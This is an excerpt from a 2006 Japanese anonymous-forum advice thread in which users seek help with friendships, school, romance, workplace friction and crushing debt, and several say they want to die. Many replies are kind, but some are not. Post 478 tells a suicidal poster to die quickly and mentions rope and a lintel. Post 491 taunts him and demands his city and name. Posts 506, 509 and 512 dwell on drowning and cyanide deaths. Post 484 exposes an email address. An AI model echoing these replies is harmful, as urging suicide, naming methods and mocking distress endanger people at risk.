まだ16歳だから不安が多くて当然です。
でも踏み出す事を躊躇しないで下さい。

461 :マジレスさん:2006/11/09(木) 23:21:50 ID:pnLF/N3N
岡目八目てなんですか?やっぱあたしは甘えてるだけなんですね…自己嫌悪。

462 :マジレスさん:2006/11/09(木) 23:23:33 ID:/m+QP4zD
>>454
更年期障害かもな。

>>455
よくわからんが、それが課金されない趣味なら
勉学に差し支えない範囲で寝かせろ。
「寝不足は短小包茎になる」とか吹き込め

463 :マジレスさん:2006/11/09(木) 23:24:01 ID:pHsKwJRP
>>452
おまえなんか勘違いしているよ。
予備校なんて周りはみんな敵でしょ。
みんなでお手てつないで受験しようっておもっていたの?
「弱点みっけ」なんて言われない?

基本的には励ますレスする俺なんだけれど、あんたの勘違いには切れるかも。

次も落ちるよ。


464 :マジレスさん:2006/11/09(木) 23:24:23 ID:H4iLd0Aj
>>459
生きろ!死ぬってのは間違ってるだろ

465 :マジレスさん:2006/11/09(木) 23:26:18 ID:Tm436NGD
>>438
口下手なの?
向こうがかしこまるって事は「しゃべりたくないオーラ」が
出ているのでは?
面白くなるよりも、話しやすい人になる方が先かと思われます。

466 :マジレスさん:2006/11/09(木) 23:26:55 ID:eVWFP828
高校1年女子です。

絶対人の秘密を守れないタイプの人間っているんでしょうか?
今日休み時間の談笑中に、私の友人に皆の前で、私が「言わないで」と言ったことを(身体的な悩みです)
「そうそう〇〇さんがね〜」と全てケロッと話され落ち込んでいます。
私の表情に途中で気づいたのか「え?〇〇さん何か私怒らせる様なこと言ったの?」と不思議そうな顔で聞いてきました。
その後私が落ち込んでいる様子を見てようやく分かったのか、「ごめん「言わないで」って言われたのは分かってたけど、何で怒るん?私何か悪いん?」と………
どうも演技でもなく本気で言っている様でした。
私が「何で言ったの?」と聞くと「言ったらダメで言われたの私は気にしていなくて…」とのこと。

天然といえば天然な人だし、本人に悪意が無いのは伝わってきたのだけど、
静かだったからその子がバラした内容をクラス中の人が聞いていたし、何より本人がもう
「私は謝ったのだから〇〇さんはもう気にしていない。仮に怒っていても私はもう謝ったのに何に怒っているのか分からない。」くらいに思っているみたいで、
気にしているこっちが心が狭い人扱いな様です……
明日学校で普段どおり接するべきでしょうか?
正直まだ腹が立っているのですが、「しつこく怒る人」にはなりたくないです………
綺麗サッパリ忘れるべきでしょうか。

467 :マジレスさん:2006/11/09(木) 23:28:05 ID:H4iLd0Aj
>>462
サンクス!
まあ弟は軽い知的障害で包茎なんて言葉知らないだろうけど・・・

468 :マジレスさん:2006/11/09(木) 23:29:52 ID:4RVHOBP8
>>459
彼女が出来て転落人生…というケースもありますよ。

凄く悔しいなら、
死ぬよりもとびきりイイ女捕まえて周りを見返して下さい。

469 :マジレスさん:2006/11/09(木) 23:30:45 ID:G+rKbp17
>>463
私以外の人全てが団結していても、それは私の勘違いになるのでしょうか…?

手を取り合って仲良く、は望みません。

それから、定時制の高校に通いながらなので、まだ一応現役です

470 :(V)[゚w゚](V) ◆KANI3sOV5s :2006/11/09(木) 23:31:49 ID:9FJ2/YTC
>>466
あなたにとっては重大な悩みでも、周りから見たらたいしたことない悩みだったのでしょ。

逆に言えば、あなたの友達にとってはたわいのないことでも、あなたにとっては重大な悩みだった、と。
そこで口止めをしておいたにもかかわらず、いってしまう友人は無神経ですわな。
友人がどう思おうと、重要であるかどうかの決定権は当事者であるあなたにあるのだから。

でもこの一件でこれからの対処法もはっきりしてよかったんじゃないですか?
綺麗さっぱり言うのを止めましょ。
言っても無駄だから。
でも忘れては駄目ですよ。
これからは言われて困ることはその友人に言わない。というだけで他は今まで通り付き合っていきましょ。

471 :マジレスさん:2006/11/09(木) 23:32:00 ID:ptMe5qMy
高1の女です。
私は男と話せないことがすごく悩みです。私の友達はどっちかと言ったらDQNの友達ばっかなのですが、やはりその友達たちは男を好みます。
友達が男と話してる時は輪の中に入れずいつも周りから見て適当に笑っているだけです。本当は私だって男と仲良くしたいのですが。
私が男に話しかけても、態度が悪く、話すことに抵抗を持ってしまい話せません。また、最近では男子の間で嫌われているような気もします。
話しかけても嫌な顔されるし、だからといって話さないと暗い子に思われるし…誰にも相談できず本当に悩んでいます。
何か良いアドバイスあったらお願いします。

携帯から長文すみません。

472 :マジレスさん:2006/11/09(木) 23:32:46 ID:H4iLd0Aj
>>466
友達を失いたくなければ忘れる事です。
周りに知られたくない事はいくら友人でも話さない事!
俺も似たような事あったけど自分が悪いと思ってるし

473 :マジレスさん:2006/11/09(木) 23:32:56 ID:eAE1M+Do
>>465
努力したいのですが具体的にどうしたらいいでしょうか?

474 :マジレスさん:2006/11/09(木) 23:33:21 ID:pPtlZtzQ
>>464
生きてるのが地獄です
それなら死ぬ地獄のほうが痛みを感じずに済むかもしれません。

>>468
失敗しかしてないのに成功があると思うんですか?
最近は仕事が忙しすぎて出会いすらもありません。

475 :マジレスさん:2006/11/09(木) 23:34:24 ID:pHsKwJRP
>>466
だれにでも「これは秘密だからね」と言っても口に戸は立たない。
この件に対してはあなたがゆるい。

まだ成熟していないからしかたが無いけれど、大事なことはなかなか喋らない。
他人に喋れば漏れる危険があるよ(50%以上)。

476 :マジレスさん:2006/11/09(木) 23:39:11 ID:/m+QP4zD
>>467
…実はな。周りのみんなはとっくの昔に気付いてたよ。
「アレは秘密が守れない育ちだから」
「悪気が無いのが一番やっかいだね」
とな。
ま、女同士なら尚更秘密なんて漏らすなって事だ。


477 :476:2006/11/09(木) 23:40:10 ID:/m+QP4zD
>>466だった。はっは。

478 :マジレスさん:2006/11/09(木) 23:40:13 ID:pHsKwJRP
>>474
おまえね、そんなことで死にたいと思っているならさっさと死ねよ。
とてもちんけな思考ワールドで死にたいと思っているなら さっさと死ね。

こんなこと書かれてもお前死ねないだろう。
さっさと死ねよ、簡単だよ、ロープと鴨居があるだろう。

出会いがないから死にたい?  さっさと逝って良し。
レスしてね。

479 :マジレスさん:2006/11/09(木) 23:40:13 ID:4RVHOBP8
>>466
おそらくその友人は秘密を守れない人なのではなく、
事の重大性をよく理解していない人なのだと思います。
貴方にとっては言わないでほしい秘密にしたいことでも、
その友人は貴方が思うほどのことには考えていないのだと思います。

貴方は友人を信頼していたから話したのに辛かったですね。
許せる内容なのか私にはわかりかねますが、
なるべくその人には秘密や重大なことを話さない方がいいかもしれないですね。
もし綺麗サッパリ忘れられたら、
貴方は大人だと思います。

480 :マジレスさん:2006/11/09(木) 23:41:05 ID:K63WorJH
>>460

恋愛で裏切られてばかりで通うことが難しくなったんです。
どうしてもすぐ別れることになり
会話とか魅力が足りないんだなあと
だから余計に
飲み姉になるという
昔の夢を今実行したくなったんです。
汚い部分も関わり方も
学べる気がした。
それで20くらいになり
自信も持てた頃くらいに
落ち着いて
きちんと恋愛したいと
考えたんです。
でもこの世界は18から
というのはあなたの教えてくれた通り現実は嫌な
ことだらけだとも思う
私は考えが甘いのかなあ‥
いくら悩んでも
この先の答えがみつからないなあ。涙
でも人とかかわることは
好きだと言えるので
バイトとかでもいろんな人と話してみようと思えました!!

481 :マジレスさん:2006/11/09(木) 23:45:23 ID:4RVHOBP8
>>474
>失敗しかしてないのに成功があると思うんですか?

そう思っていたら何事も一歩も踏み出せませんよ。

> 最近は仕事が忙しすぎて出会いすらもありません。

貴方は休日もなく四六時中仕事しているんですか?
言い訳に過ぎませんよ。

482 :マジレスさん:2006/11/09(木) 23:45:34 ID:tLNgo37k
>>471
まずは何でも良いのできっかけを作ることです。
別に無理しなくて良いんですよ?
はじめから親しい人なんていないんですから。
あなた自身で声のかけずらい雰囲気を作り出してるだけです。
大事な事は、誰と話す時でも自分らしくいる事ですよ。
嫌われているような気がするというのは、
何か思い当たる事でもあるんですか?
ないのならただの気のせいですよ。

483 :マジレスさん:2006/11/09(木) 23:48:02 ID:C9WBVxXT
性格がブスだから見た目も感じ悪い同僚にいじめられています
30過ぎで独身で ある芸能人のおっかけをしていてストーカーに間違えられたこともある女です
おまえのことだよバカM


484 :マジレスさん:2006/11/09(木) 23:48:07 ID:XCck9YVK
「アドレス変えました」しか文面が無いんで困ってるんですが、「あなたは誰ですか?」なんて返事送信しない方がいいですか?これもスパムメールってやつかな。
始め見た時は誰だかすごく考えてしまったんだけど、アドレスからイメージできない。
s13y20r@docomo.ne.jp
なんですけど。ちょっと普通の人が考えるアドレスじゃないんじゃないかなと。
友達が署名忘れただけなら後々困るしなぁ…。悩む。

485 :マジレスさん:2006/11/09(木) 23:48:15 ID:pPtlZtzQ
>>478
今から死にに行きます。明日あたりニュースになってるかもしれませんね。
ありがとうございました。

>>481
あなたもわざわざ俺に付き合ってくださってありがとうございました。

486 :マジレスさん:2006/11/09(木) 23:51:59 ID:Tm436NGD
>>473
グループで話している時に皆の会話をちゃんと聞いていて、
それぞれの人と自分の共通点を見つけて下さい。
好みが似てるとか、苦手な事が同じとか・・
今まで「オーラ」を出していたから、話の切り出しは
あなたからしないと相手は話しかけて来ないと思う。
「この間言ってたあれさ〜俺も・・・」とか、相手が話しに
乗ってき易いような話題を振ってね。
あと、話が途切れても「話さなきゃ」と思うと相手もその
空気が伝わるから、話をしてなくてもボーっとして
リラックスしてれば、相手もリラックスしてくれると思う。
二人だけになると相手の空気はお互いに伝わるから、
あまり構えないようにして下さい。

487 :マジレスさん:2006/11/09(木) 23:52:26 ID:tLNgo37k
>>485
あなたを追い込んでいるのは、あなた自身だと言うことをわかってください。
ただ演じてるだけなんですよ?

488 :マジレスさん:2006/11/09(木) 23:54:03 ID:MfBoayQh
>>466
世の中には、いろんな考え方の人がいると思います
今回のことは、その友人が口が軽いということがわかったということで諦めて
次回からは秘密にしたいことは言わないほうがいいだろうと思います
あなたが言わないでと約束したつもりが、その友達は約束した意識がなく
あなたが許すと思っていないのに、1人で許してもらえたと思っているようならば
あたなとは価値観のずれがあるのかもしれません
その友達の常識では許される範囲のことでも、あたなの常識では許されない範囲のことなのでしょう
友人として付き合い続けるなら、この点に注意しておかないと似たようなことが今後も起こるかもしれません

489 :マジレスさん:2006/11/09(木) 23:54:56 ID:1dk07mar
>>485
いつまでも悲劇の主人公演じてても仕方ないだろ。
俺は君の事よく知らないけど、死ぬなんて悲しい事言うなよ


490 :マジレスさん:2006/11/09(木) 23:58:02 ID:Tm436NGD
>>480
あなたの年齢の時の恋愛は「自己愛」が強い場合が多いから
自分と相手の欲求が合わない事が多いと思います。
だからすぐ別れる事も多いよ。
でもその経験で色々と考えたり傷ついた事、経験値として
脳に学習されてるから、今後、もう少し大人になったら
活かされて行くと思いますよ。
今は、経験値を積む時期だと思って頑張ってね。

491 :マジレスさん:2006/11/09(木) 23:59:01 ID:pHsKwJRP
>>485
馬鹿じゃないのW
明日になったらまた違うかまってチャンだろ。

死ぬ前に聞きたい。
どの県、なんて市?
名前はなんていうの?

あんた猛烈に甘えたちゃんだから知りたい。
こんな他人依存な甘えたちゃんが 「 自 分 の 意 思 で 自 殺 す る ?」

492 :マジレスさん:2006/11/10(金) 00:01:26 ID:E64ZjNGW
>>483
相談?ただの悪口?

>>484
クマ?(友人のメルアドの可能性があったら晒さないよね)

493 :マジレスさん:2006/11/10(金) 00:03:53 ID:YydObWPA
>>485
そこまで自暴自棄にならなくても…
彼女を作る以外貴方の生きる道は残されていないんですか?
もっとやるべきことがたくさんあるのではないでしょうか。
私が貴方の親だったらとても悲しいです。

494 :マジレスさん:2006/11/10(金) 00:10:10 ID:+qIewBTa
もう生きるのに疲れた…
人と話せないし、空気読めないしうじうじしてるし…
今日も遊びに行ったけど、一言も喋らずに帰ってしまった…
喋れって言われたけど、何も頭に浮かばなくて、変な空気流れて…
もう死んでしまいたい…
でも死ぬ勇気もないし、もうどうしたらいいのかわからない…

495 :マジレスさん:2006/11/10(金) 00:12:37 ID:kmXBV/CK
>>485
彼女が出来ないから死ぬ?
軟弱者!
女のケツを追っ掛けるだけが貴様の人生か!


496 :マジレスさん:2006/11/10(金) 00:13:49 ID:KISfmXQk
何か出来る事に没頭したら?
映画、読書、スポーツ、釣りなど

497 :471:2006/11/10(金) 00:14:10 ID:e5DqrWTB
>>482
アドバイスありがとうございます。
そうですね。もともと人見知りするたちなので、徐々に仲良くなっていけたらと思います。
嫌われている理由は、おそらく私の目つきや態度だと思います…
黙っているとものすごく冷めた感じになるし…
ちょっとうじうじしたところもあるのでorz逆に私の態度が相手を傷つけているのもあると思います。あの時何であんな行動をとったんだ…絶対嫌な奴に思われた…とあとで悔やむこともよくありますので……


498 :ダークオサーン ◆CAgEU2NTKA :2006/11/10(金) 00:14:52 ID:nMLOtMpW
こんばんはもう出てこないつもりだったが…

>>493と他の方々へ
>>491 ID:pHsKwJRP(他の書き込みもある)氏 が正解

>>485 あんたもう何回目だ? 何回川に飛び込んだんだ?

499 :マジレスさん:2006/11/10(金) 00:17:08 ID:IQnbICLM
494 状況をくわしく教えてください。

500 :マジレスさん :2006/11/10(金) 00:20:05 ID:7SYJawXv
男友達に信頼されるにはどうすればいいですか?
女の子の話しばかりしてたら呆れられました。
軽い奴と思われたかもしれないんです。
もう一度信頼を回復したいんです

501 :マジレスさん:2006/11/10(金) 00:22:57 ID:xrNi4Qdt
>>497
あなたは、ちゃんと自分の事が分かってるし
自分の変えるべきとこも知っているじゃないですか?
自分の欠点に気づかない人もいるんですよ?
そのやさしさを大事にしてくださいね。

502 :マジレスさん:2006/11/10(金) 00:23:11 ID:YydObWPA
>>493です。
ありがとうございます。
よくわかりました。
が、やはり私が親だったら安易に色んな所で死ぬだの川に飛び込むだの軽々しく言ってほしくないなぁと思います。

503 :485:2006/11/10(金) 00:26:12 ID:v5fFqnfa
なんか迷ってきてしまった。
生きるにしても死ぬにしてもこれで最後のレスにします。

>>491
名前まではいえないけど、住所は神奈川県川崎市です。
近所に多摩川が流れてるのでそこに飛び込もうかと思います。

>>493
出来れば普通に彼女が欲しかったです。

>>498
正確に言えば二度ほど飛び込もうとしましたが出来ませんでした。
しかし、今回こそはやってみようかと思います。

504 :マジレスさん:2006/11/10(金) 00:27:51 ID:kmXBV/CK
>>500
それは信頼を失ったのではなく、単にあなたの話がウザクなっただけでは…

505 :マジレスさん:2006/11/10(金) 00:34:55 ID:YydObWPA
>>503
私も最後のレスにします。
死んだらもう普通の彼女は作れません。
でも、生きていれば作れる可能性はあります。


貴方にはぜひ彼女を作って幸せになってもらいたいけれど、
それ以上に貴方がたくさんの人に愛されて今まで生きてきたことを噛みしめてほしいです。
アルバムがあるなら開いてみて下さい。

506 :マジレスさん:2006/11/10(金) 00:35:24 ID:kmXBV/CK
水死体はな…時間がたつと浮いてくるのだがブクブクに水脹れっちゅうか、まぁそんな感じになる。
皮膚はふやけてぼろぼろになり、河口あたりまで流されれば鱸とかについばまれる。
海までいきゃ、シャコがひっつきまくってたりする。もっとも、どっかに引っ掛かって腐乱するのが関の山か、最初のほうに書いた状態でみつかる。

507 :494:2006/11/10(金) 00:36:19 ID:+qIewBTa
>>499
俺昔から不思議な奴で、人と喋るのも苦手なほうだったんです。
高校はいって、性格を直そうとデビューしたんですが、うまくいかなくて…
いつもパシリ扱いで、うじうじしてて本当に自分が気持ち悪いんです。

今日もいつも行っているお店で話してたんですけど、俺まったく間に入れなくて…
黙りこんで帰るまでほとんど口を開きませんでした。
もうつらい…生きてるのがあほらしい…

508 :マジレスさん:2006/11/10(金) 00:37:42 ID:KISfmXQk
>>507
趣味とかないの?

509 :マジレスさん:2006/11/10(金) 00:38:21 ID:kmXBV/CK
あと溺死は恐い。窒息の危機(状態)に陥ると本能的な恐怖がわきあがり、やはり死にたくない!と思いつつ死ぬ。

510 :494:2006/11/10(金) 00:40:55 ID:+qIewBTa
>>508
趣味はありません…
前はゲームが好きだったけど、それほどたくさんは持ってませんでした。

511 :ダークオサーン ◆CAgEU2NTKA :2006/11/10(金) 00:44:09 ID:nMLOtMpW
>>503
そうか。私は東京でサラリーマンやってた頃多摩川に落ちたことがあるよ。
野毛あたりはウナギが釣れるぞ。
鯉釣りも面白い。多摩川独特の「食パン流し釣法」やそれが発展した「食パンルアー釣法」までがある。
まあ、食パン流すとまずはカモ&アヒル、その次にミシシッピアカミミガメが寄ってきたなあ。
あれは、かわいいよ。
まあ、やっぱり多摩川の魚は食うと臭いんだけど。
夜釣りで寒いから盛大に焚き火してたら、川崎側に消防車きたときはちょっとあせったなあ。

まあ、おやすみなさい。
多摩川ぐらいではそうそう死ねないよ。浅瀬や中洲がいっぱいあるからね。



512 :マジレスさん:2006/11/10(金) 00:45:20 ID:QP21anZF
かといって青酸・ナトリウム系も悲惨だな。運が悪いと
三日三晩粘膜を焼き尽くされて、出血で溺れ死ぬが先か
激痛で発狂死するか競うハメになるからな。

513 :マジレスさん:2006/11/10(金) 00:46:01 ID:KISfmXQk
>>510
ゲームも良いけど外で遊ぶ事も楽しいよ
とりあえず汗を流す事から始めたらきっと何かが変わってくるよ!

514 :マジレスさん:2006/11/10(金) 00:47:04 ID:3b9rk8U+
>>494
2ちゃんのここではとても雄弁なのにねw
歯車がうまくかみ合ってない感じがするな
一度それがわかるとどうってことないことなんだろうけどね

515 :マジレスさん :2006/11/10(金) 00:48:07 ID:7SYJawXv
>>504
その発想はなかったです。
それぐらいで信用はなくならないってことですか?

516 :マジレスさん:2006/11/10(金) 00:49:25 ID:kzhqPfe6
生きるとはどういう事ですか。
別に切迫してる訳ではありません。あなたはどうして生きているのですか?

517 :マジレスさん:2006/11/10(金) 00:53:17 ID:kmXBV/CK
>>516
ソコソコ楽しいから生きてる。
まだやりたいこともある。
…色々あるなぁ。

518 :困惑者:2006/11/10(金) 00:54:47 ID:34tLAkqH
>>516
やりたいことがあるから、やってみたいことがあるから、
だから生きてる。あなたがもし、やりたいことが何にも浮かばないような
ウツな毎日ならば、一度メンタルクリニックに行くことをオススメします。

519 :マジレスさん:2006/11/10(金) 00:55:25 ID:i7ke/mMC
>>202
どうして生きてるかはわからないけど、
たぶんねぇ、みんな自ら望んで生まれてきたんだよ。
生まれる前の記憶が完全にある人はいないけどね。

520 :マジレスさん:2006/11/10(金) 00:56:38 ID:kzhqPfe6
>516
日々が楽しくなく、やりたいことも無かったら生きていますか?

521 :マジレスさん:2006/11/10(金) 00:57:16 ID:kmXBV/CK
>>515
たぶん、話に飽きてきたり、ウンザリしてきただけで別に信用を失うことには…
女友達の陰口を叩いていたのなら話は別だけど。

522 :マジレスさん:2006/11/10(金) 00:59:03 ID:KISfmXQk
俺も死にたいと思った時はあったよ。でも最近は自分を磨く事が楽しい!
自分は喋り下手だからバイトに出たり出来るだけ人と話す事をしてるけど未だに成果なし
orz



523 :マジレスさん:2006/11/10(金) 00:59:41 ID:kzhqPfe6
>516は>517->518
間違いました。

524 :マジレスさん:2006/11/10(金) 01:06:31 ID:ISEcWaQr
書き込もうと思っているうちにこんなにレスが・・・!遅れながら失礼します。 >>420          アドバイスありがとうございます。確かに、いわれてみれば興味がなかったのかもしれません。
もうクラスの子と特別仲良くなるのは無理だから微妙な関係でいいや
とどこかで思っていたのかも。
しかし、それではこれからどうすればいいのでしょうか?
遅いですが、誰か>>415にアドバイスをおねがいします・・・!!

525 :マジレスさん:2006/11/10(金) 01:07:18 ID:kmXBV/CK
>>523
生きるよ。自分の命は自分だけのモノじゃないし。
命すてる気になったなら、命にリスクかけて人助けしたい。


526 :マジレスさん:2006/11/10(金) 01:12:15 ID:+FIBFPnJ
最近、自分の恋愛観がよくわかりません

誰が好きなのか

好きな人はいるんですが、好きじゃなくなったり、また好きになったり
他に好きな人ができたり元々好だった人に戻ったり

気になるという気持ちと好きという気持ちが混雑してます

こんな気持ちになるなら誰も好きにならなければいいと思っている反面、誰かを好きになり愛されたいと思ってます

自分でもどうしていいのかわかりません

527 :マジレスさん :2006/11/10(金) 01:12:25 ID:7SYJawXv
>>521
どうやら僕は深刻に考えすぎてたようです。
ありがとうございました。

528 :マジレスさん:2006/11/10(金) 01:13:30 ID:ISEcWaQr
>>522 あなた偉いですね! 私も口下手ですが、未だそんな努力はしていません。成果がなくてもすごいです。私もできるだけ頑張ります。

529 :マジレスさん:2006/11/10(金) 01:17:19 ID:kzhqPfe6
>525
あなたがそう思う事に訳はあるのですか?

530 :マジレスさん:2006/11/10(金) 01:17:46 ID:X0p4EDAf
え〜これは相談と言えるか分かりませんが
最近すっごく疑問に思うんですが
うちの会社に中国人が三人いるんですが三人とも仲良くみえます
最近おわるのが遅くて皆、眠い〜というのですが
眠い、はやくかえりたいと言いながら、ちんたらちんたらやってます
ここは会社です学校じゃありません仲良しごっこのばしょでしょうか?

531 :マジレスさん:2006/11/10(金) 01:18:33 ID:YydObWPA
>>526
実際好きになった方々と交際はしていたんでしょうか?
ただ好きという気持ちになるだけなら、
きっとその人の色んな面の一部分しか見えていないからかもしれません。
何でも物の見方は変わるものですし普通の感情だと思いますよ。

532 :530:2006/11/10(金) 01:20:18 ID:X0p4EDAf
あげ

533 :530:2006/11/10(金) 01:21:26 ID:X0p4EDAf
つかれててまちがえましたもう一回あげ

534 :マジレスさん:2006/11/10(金) 01:24:24 ID:r55wkaxc
>>530
なんだろうね、お国柄か何かかな?
何にしろ、仕事に深刻な支障があるようなら上司も黙ってないんじゃないの?

535 :530:2006/11/10(金) 01:28:48 ID:X0p4EDAf
それが、上司ときたら早くしごとやって、やることなくなった僕に中国人の前で
「はやくやれっ」っていうんですよ、え?!ですよ〜

536 :マジレスさん:2006/11/10(金) 01:32:44 ID:UqPsXMM8
>>524
クラスの子とだと構えてしまう、元々口下手
この状況から急に普通に話せるようになるのは、敷居の高いことだと思います
自分で話題が思いつかないのなら
クラスの子の発言に対して、あなたなりの考えをできるだけ返答するのはどうでしょうか
明日から急にきちんとした返答をできる自信がないなら
クラスの子の会話を聞いていて、あなたの心の中だけで返答をしてみる練習をしてみるのはどうでしょうか

537 :マジレスさん:2006/11/10(金) 01:33:57 ID:kmXBV/CK
>>529
随分前にも書いた気がするが…
自分の実家は兼業農家なのだが歴史だけはやたらと長い。
いつも食べる米や野菜は親父や祖父…先祖様が400年以上守ってきた土地の恵みでできているわけだ。
誰しもがそうだが、人の命は途方も無く繰り返されてきた愛と命のリレーの上に支えられている。
次のバトンを形はどうであれ、キチンと渡すまでは自分の命を好き勝手に使う気にはなれない。

538 :マジレスさん:2006/11/10(金) 01:42:33 ID:ISEcWaQr
>>536  レスありがとうございます。
そうですよね・・・。敷居は高いかもしれませんが、できるだけ頑張ってみます。
最近はなんだかクラスの子と無言になるところを想像したりして、
朝になると学校に行きたくなくなります。
私の思いこみが激しいだけかもしれませんが・・・。あと、私すぐ友達と自分を比較してしまうんです。 友達は普通に話しているのに、やっぱり自分は・・・。
と落ち込んでしまいます。

539 :マジレスさん:2006/11/10(金) 01:43:08 ID:OnbZz/Ix
今、手持ちに50万しか在りません。この金は退去資金として貰ったやつで、一から新しく部屋を借りて人生をやり直すか、有り金使った後に自殺しようか悩んでます。どうしたらいい? 33♀

540 :マジレスさん:2006/11/10(金) 01:47:47 ID:r55wkaxc
>>535
つまり中国人達はやる気無さげな態度で>>535よりも成果を挙げていないが
なぜかお咎め無しってことかな?
まあ上司の態度がおかしいと思うんならちゃんと考えを聞いてみるはどうか。
もちろん自分の仕事はきちんとこなした上で、飲みの席か何かで

541 :530:2006/11/10(金) 01:49:23 ID:X0p4EDAf
>>415
ひとによって接し方がかわるのはあたりまえです、目上の人には敬語、同い年はため口、後輩には威張る、そういうものでしょう
無言状態?それは話す事がないからでしょう、2chでもROMってばかりのひともいるでしょう
それと同じでしょう
脱出したければ相手は気にするなっていうか、あんた自己中でしょう?人の話し聞いてるだけでも面白いですよ

542 :マジレスさん:2006/11/10(金) 01:49:26 ID:+FIBFPnJ
>>531ありがとうございます
一分部ですか…。

確かにそうかもしれません
実際その人と親しくなり、何をしたいかなどもわからないので

交際はしていた人もいました
でもその人の全てを知る前に別れてしまいました

今は憧れの意味での好きな人が欲しいだけなのかもしれません

543 :マジレスさん:2006/11/10(金) 01:50:36 ID:kmXBV/CK
>>539
再出発して嫁に行くというのは…
いかがっすか?

544 :マジレスさん:2006/11/10(金) 01:55:08 ID:UqPsXMM8
>>538
無言になっても別に気にしないことです、それで辛い気持ちになるだけ損です
周りの人の認識は、あなたは無口な人となっていると思います
たぶんあなたが無言でも、ほとんどの人はそのことを気にもとめず
それが当たり前のことになっていると思います
徐々に話せるようになっていけば、自然でいいのではないでしょうか

545 :マジレスさん:2006/11/10(金) 01:58:10 ID:+FIBFPnJ
>>539
本当に自殺をする根性があるなら人生を成功させる根性もあるのではないでしょうか

「どうせ捨てた人生だ、好きに生きよう」
と割りきって新しいことにチャレンジしてはいかがですか

アナタがもし新しい人生を歩むとしたらきっと成功するでしょうし
私もその成功を祈っています
頑張ってください

いくらでも道はあります
自殺を考える前に道を探してください

546 :マジレスさん:2006/11/10(金) 01:59:43 ID:kzhqPfe6
>537
レスありがとうございます。当たり前といえば当たり前かもしれませんが生きるとは人それぞれなんだなと思いました。自分は目的も無ければ日々の充実感もありません。すいません少し酔っぱで何が言いたかったか(聞きたかったか)よく自分でも分かりません。
こんな自分に付き合ってくれてありがとうございます。

547 :マジレスさん:2006/11/10(金) 02:04:34 ID:ngmSHVcq
友達関係で悩んでいます。
いつも一緒にいる子なんですが、最初のころは苦手意識なく接することが出来てました。
でも最近になって性格の違いとかノリの違いとかで段々苦手意識を持つ様になってしまい、最近は一緒に帰ったりすることも自分から避けるようになってしまいました‥
相手の子はギャル系ののりで私にはあわないんで悩んでいます。
他の友達にも相談してるんですが、辛いです。これからどう接したらいいかわかりません
長文ごめんなさい

548 :マジレスさん:2006/11/10(金) 02:09:03 ID:MWuPPrvo
>>539
とにかく自殺だけはするな。
いざとなれば生活保護もあるし、いくらでも人生やり直せるぞ。

549 :マジレスさん:2006/11/10(金) 02:14:11 ID:Khdf8lQu
みんなと一緒に同じ夢を目指していたハズなのに…病気して身体壊して今や寝たきりの引きこもりに近いオレ…みんなに合わせる顔がない。家族にも友達にも仲間にも合わせる顔がない…(´・ω・`)

さみしい…オレは一人ぼっちが怖い。でも…誰とも寄り添えない。自分に折り合いがつけられない。( ´・ω・`)

550 :530:2006/11/10(金) 02:18:57 ID:X0p4EDAf
>>540
上司には聞きたくありません、今二人も、十人の会社なんですが休んでて、つかまると怖いです。飲み会ですか、年に一回しかありませんが

551 :530:2006/11/10(金) 02:21:23 ID:X0p4EDAf
しかも、中国人の送別会ですorz


552 :マジレスさん:2006/11/10(金) 02:21:33 ID:MWuPPrvo
>>547
いつも一緒にいなくてもいいんじゃないかな。
自分の付き合える範囲で付き合えばいいと思うよ。
まず、自分が楽にいられるようにすること。
そうすれば、相手との付き合い方も見えてくるはずだ。

553 :マジレスさん:2006/11/10(金) 02:22:44 ID:OnbZz/Ix
539です
結婚期に買ったマンションが競売にかけられ、せり落とした業者が、引越費用出すから早く家を出ろと言われた。元旦那の借金の連帯保証人になり、私1人が昼夜パートで働いても返せない。税金や国民保険料の滞納。クレカも作れない程社会的信用も無い人に、賃貸契約も困難。

554 :マジレスさん:2006/11/10(金) 02:28:53 ID:MWuPPrvo
>>539
今日、市役所に行って相談してみろ。
何か方法があるはずだ。

555 :マジレスさん:2006/11/10(金) 02:28:55 ID:E64ZjNGW
>>553
自己破産か債権整理しないの?
退去費用は上記の手続きに使ったら?

556 :マジレスさん:2006/11/10(金) 02:31:10 ID:OnbZz/Ix
539 続き
心労で、精神障害になりました。このまま生きていても、将来が見えないんです。意中の人(心の支え)も無理そう。
孤独で、生きてくのが辛くなりました。どうして私みたいな人間が早死にできないのでしょう。世の中不平等です。私はもう充分生きました

557 :マジレスさん:2006/11/10(金) 02:33:48 ID:/UxckcSX
そう

558 :マジレスさん:2006/11/10(金) 02:35:30 ID:MWuPPrvo
>>539
今は状況がしんどいから、落ち込んでいるだけだ。
まず、今日は寝ることだ。
明日になれば気持ちも変わる。

559 :539:2006/11/10(金) 02:38:23 ID:OnbZz/Ix
その前に住居に困りました。勤め先がパート扱いだから、借りるにも保証人問題(親近者は絶対無理)や正社員でないから、賃貸契約が困難なのです。タイムリミットは19日。

560 :マジレスさん:2006/11/10(金) 02:41:16 ID:5HqQolnS
はじめまして。
今、彼女になってくれる方募集中してます。
20才♂ 大学生
童貞 愛知在住


早く童貞を卒業したいです。初体験の相手になってくれる方募集中です。まずはメール下さい。



561 :539:2006/11/10(金) 02:44:55 ID:OnbZz/Ix
みなさんのいろんなメッセージ、読ませて頂きました。ありがとうございます。死ぬのは簡単だけど、こんな私でも未来はあるのか、まだ分からないけど、できるだけの事をしてみます。
進展があったら報告します。

562 :マジレスさん:2006/11/10(金) 02:46:44 ID:WSAJ7jTZ
がんばれ!

563 :マジレスさん:2006/11/10(金) 02:47:51 ID:GMwV1A1E
>>539
とりあえずしばらくはレオパレスで我慢しときなよ

564 :マジレスさん:2006/11/10(金) 02:48:56 ID:MWuPPrvo
>>539
何とかなるさ。気楽に行こうぜ。

565 :マジレスさん:2006/11/10(金) 02:49:22 ID:vbRiHLOb
本当に悩んでいて、誰にも話せなくて(また多分話したとしても
意見が分かれて解決しない)どうしようもない時は何に頼ればいいのでしょうか。

占いにでも頼ろうかと思ったり・・・。

566 :マジレスさん:2006/11/10(金) 02:55:53 ID:mJdACsko
一緒に住んでた彼が(不倫だけど)「嫁とケジメつける」って言って出ていったままです。もちろん私と結婚するつもりで住み始めました。結婚式も挙げました。嫁の所には帰ってなさそうです。どうしたらいいでしょう?

567 :マジレスさん:2006/11/10(金) 03:05:04 ID:5YcgciG0
>>565
とりあえず、ここで話してみたら?

568 :マジレスさん:2006/11/10(金) 03:19:44 ID:ncAU8Cst
>>559
とりあえず土日をはさまないように明日金曜中に市役所に相談されたほうがいいと思います。うまくすると市営住宅があいているかもしれません。
債務整理にも弁護士などに費用がかかりますが、幸い人生をやり直すに足る若干の資金をお持ちです。
